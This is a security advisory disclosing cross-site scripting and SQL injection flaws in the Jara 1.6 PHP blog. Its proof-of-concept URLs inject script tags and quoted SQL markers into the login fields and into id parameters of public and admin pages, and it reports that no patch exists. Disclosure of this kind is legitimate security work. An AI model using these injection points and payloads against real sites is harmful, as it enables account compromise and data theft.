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Multiple Critical Web Vulnerabilities Identified in Jara by Invicti

Information

Advisory by Netsparker (now Invicti)
Name: XSS and SQL Injection Vulnerabilities in Jara
Software: Jara 1.6 and possibly below.
Vendor Homepage: http://sourceforge.net/projects/jara/
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Canberk Bolat
Advisory Reference: NS-12-009

Description

An open-source simple blog utilizing the features of PHP 5 and MySQL 5. Supports multiple writers, categories, managing posts, static content pages, and post comments as well as providing an intuitive administration panel.

Details

Jara is affected by XSS and SQL Injection vulnerabilities in version 1.6.
Example PoC urls are as follows:

SQL Injection Vulnerabilities

http://example.com/login.php (POST - username)
http://example.com/login.php (POST - password)
http://example.com/admin/delete_page.php?id='%2BNSFTW%2B'
http://example.com/admin/delete_post.php?id='%2BNSFTW%2B'           
http://example.com/admin/delete_category.php?id='%2BNSFTW%2B'
http://example.com/admin/delete_user.php?id='%2BNSFTW%2B'
http://example.com/admin/edit_page.php?id='%2BNSFTW%2B'
http://example.com/admin/edit_user.php?id='%2BNSFTW%2B'
http://example.com/admin/edit_post.php (POST - id)
http://example.com/admin/edit_category.php (POST - id)

XSS Vulnerabilities

http://example.com/view.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0031F8)%3C/script%3E
http://example.com/page.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003214)%3C/script%3E
http://example.com/category.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0032D5)%3C/script%3E
http://example.com/login.php (POST - username)
http://example.com/login.php (POST - password)
http://example.com/admin/delete_page.php?id='%3E%3Cscript%3Enetsparker(9)%3C/script%3E
http://example.com/admin/delete_category.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003548)%3C/script%3E
http://example.com/admin/delete_post.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0034CE)%3C/script%3E
http://example.com/admin/delete_user.php?id='%3E%3Cscript%3Enetsparker(9)%3C/script%3E
http://example.com/admin/edit_post.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0034D5)%3C/script%3E
http://example.com/admin/edit_category.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003542)%3C/script%3E
http://example.com/admin/edit_page.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003569)%3C/script%3E
http://example.com/admin/edit_user.php?id='%3E%3Cscript%3Enetsparker(9)%3C/script%3E

Learn more about Cross-Site Scripting and SQL Injection vulnerabilities:

Solution

No patch released.

Advisory Timeline

19/11/2011 – Couldn’t found a contact e-mail
22/08/2012 – Vulnerability Released

Credits

It has been discovered on testing of Invicti Web Application Security Scanner.

References

  1. MSL Advisory Link: /xss-and-sql-injection-vulnerabilities-in-jara/
  2. Invicti Advisories: /web-applications-advisories/

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